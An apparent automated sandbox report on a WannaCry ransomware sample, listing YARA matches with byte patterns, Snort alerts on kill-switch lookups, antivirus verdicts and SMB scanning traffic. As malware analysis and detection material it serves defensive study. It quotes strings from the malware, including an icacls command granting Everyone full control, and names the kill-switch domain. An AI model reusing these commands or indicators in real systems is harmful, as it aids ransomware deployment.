4.2.mssecsvc.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.7.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.7.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.7100a4.7.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
8.2.tasksche.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
8.2.tasksche.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
8.2.tasksche.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.1.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
7.2.mssecsvc.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
7.2.mssecsvc.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.2.mssecsvc.exe.7100a4.1.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.3.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.3.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.7100a4.3.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvc.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvc.exe.400000.6.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.400000.6.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvc.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvc.exe.400000.4.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.400000.4.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
Click to see the 139 entries

Snort Signatures

ET TROJAN Known Sinkhole Response Kryptos Logic - Source IP: 104.16.173.80 - Destination IP: 192.168.2.6

Timestamp:	104.16.173.80192.168.2.680497842031515 07/21/22-04:33:55.523144
SID:	2031515
Source Port:	80
Destination Port:	49784
Protocol:	TCP
Classtype:	Misc activity

ET TROJAN Possible WannaCry DNS Lookup 1 - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.856591532024291 07/21/22-04:33:54.084862
SID:	2024291
Source Port:	56591
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Kryptos Logic - Source IP: 104.16.173.80 - Destination IP: 192.168.2.6

Timestamp:	104.16.173.80192.168.2.680497652031515 07/21/22-04:33:52.319271
SID:	2031515
Source Port:	80
Destination Port:	49765
Protocol:	TCP
Classtype:	Misc activity

ET TROJAN Possible WannaCry DNS Lookup 1 - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.860350532024291 07/21/22-04:33:55.396180
SID:	2024291
Source Port:	60350
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 - Source IP: 192.168.2.6 - Destination IP: 104.16.173.80

Timestamp:	192.168.2.6104.16.173.8049765802024298 07/21/22-04:33:52.283514
SID:	2024298
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Known Sinkhole Response Kryptos Logic - Source IP: 104.16.173.80 - Destination IP: 192.168.2.6

Timestamp:	104.16.173.80192.168.2.680497682031515 07/21/22-04:33:54.200996
SID:	2031515
Source Port:	80
Destination Port:	49768
Protocol:	TCP
Classtype:	Misc activity

ET TROJAN Possible WannaCry DNS Lookup 1 - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.851971532024291 07/21/22-04:33:52.163039
SID:	2024291
Source Port:	51971
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 - Source IP: 192.168.2.6 - Destination IP: 104.16.173.80

Timestamp:	192.168.2.6104.16.173.8049784802024298 07/21/22-04:33:55.484581
SID:	2024298
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 - Source IP: 192.168.2.6 - Destination IP: 104.16.173.80

Timestamp:	192.168.2.6104.16.173.8049768802024298 07/21/22-04:33:54.169351
SID:	2024298
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 7B6t4L7E2o.dll	Virustotal: Detection: 89%	Perma Link
Source: 7B6t4L7E2o.dll	Metadefender: Detection: 80%	Perma Link
Source: 7B6t4L7E2o.dll	ReversingLabs: Detection: 91%

Antivirus / Scanner detection for submitted sample

Source: 7B6t4L7E2o.dll

Avira: detected

Antivirus detection for URL or domain

Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\mssecsvc.exe	Avira: detection malicious, Label: EXP/CVE-2017-0147.A
Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/FileCoder.AU

Multi AV Scanner detection for dropped file

Source: C:\WINDOWS\qeriuwjhrf (copy)	Metadefender: Detection: 85%	Perma Link
Source: C:\WINDOWS\qeriuwjhrf (copy)	ReversingLabs: Detection: 95%
Source: C:\Windows\mssecsvc.exe	Metadefender: Detection: 88%	Perma Link
Source: C:\Windows\mssecsvc.exe	ReversingLabs: Detection: 93%
Source: C:\Windows\tasksche.exe	Metadefender: Detection: 85%	Perma Link
Source: C:\Windows\tasksche.exe	ReversingLabs: Detection: 95%

Machine Learning detection for sample

Source: 7B6t4L7E2o.dll

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\mssecsvc.exe	Joe Sandbox ML: detected
Source: C:\Windows\tasksche.exe	Joe Sandbox ML: detected

Source: 4.0.mssecsvc.exe.400000.6.unpack	Avira: Label: TR/FileCoder.AU
Source: 7.2.mssecsvc.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 10.0.tasksche.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.2.mssecsvc.exe.7100a4.1.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.7100a4.5.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.7100a4.1.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.2.mssecsvc.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.0.mssecsvc.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.2.mssecsvc.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.0.mssecsvc.exe.400000.2.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.0.mssecsvc.exe.400000.4.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.0.mssecsvc.exe.7100a4.5.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.7100a4.7.unpack	Avira: Label: TR/FileCoder.AU
Source: 7.0.mssecsvc.exe.7100a4.1.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.400000.2.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.0.mssecsvc.exe.7100a4.7.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.0.mssecsvc.exe.7100a4.1.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.7100a4.3.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.2.mssecsvc.exe.7100a4.1.unpack	Avira: Label: TR/FileCoder.AU
Source: 7.0.mssecsvc.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 8.0.tasksche.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 10.2.tasksche.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 8.2.tasksche.exe.400000.0.unpack	Avira: Label: TR/FileCoder.AU
Source: 4.0.mssecsvc.exe.7100a4.3.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.400000.4.unpack	Avira: Label: TR/FileCoder.AU
Source: 7.2.mssecsvc.exe.7100a4.1.unpack	Avira: Label: TR/FileCoder.AU
Source: 6.0.mssecsvc.exe.400000.6.unpack	Avira: Label: TR/FileCoder.AU

Source: C:\Windows\tasksche.exe

Code function: 8_2_004018B9 CryptReleaseContext,

8_2_004018B9

Exploits

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
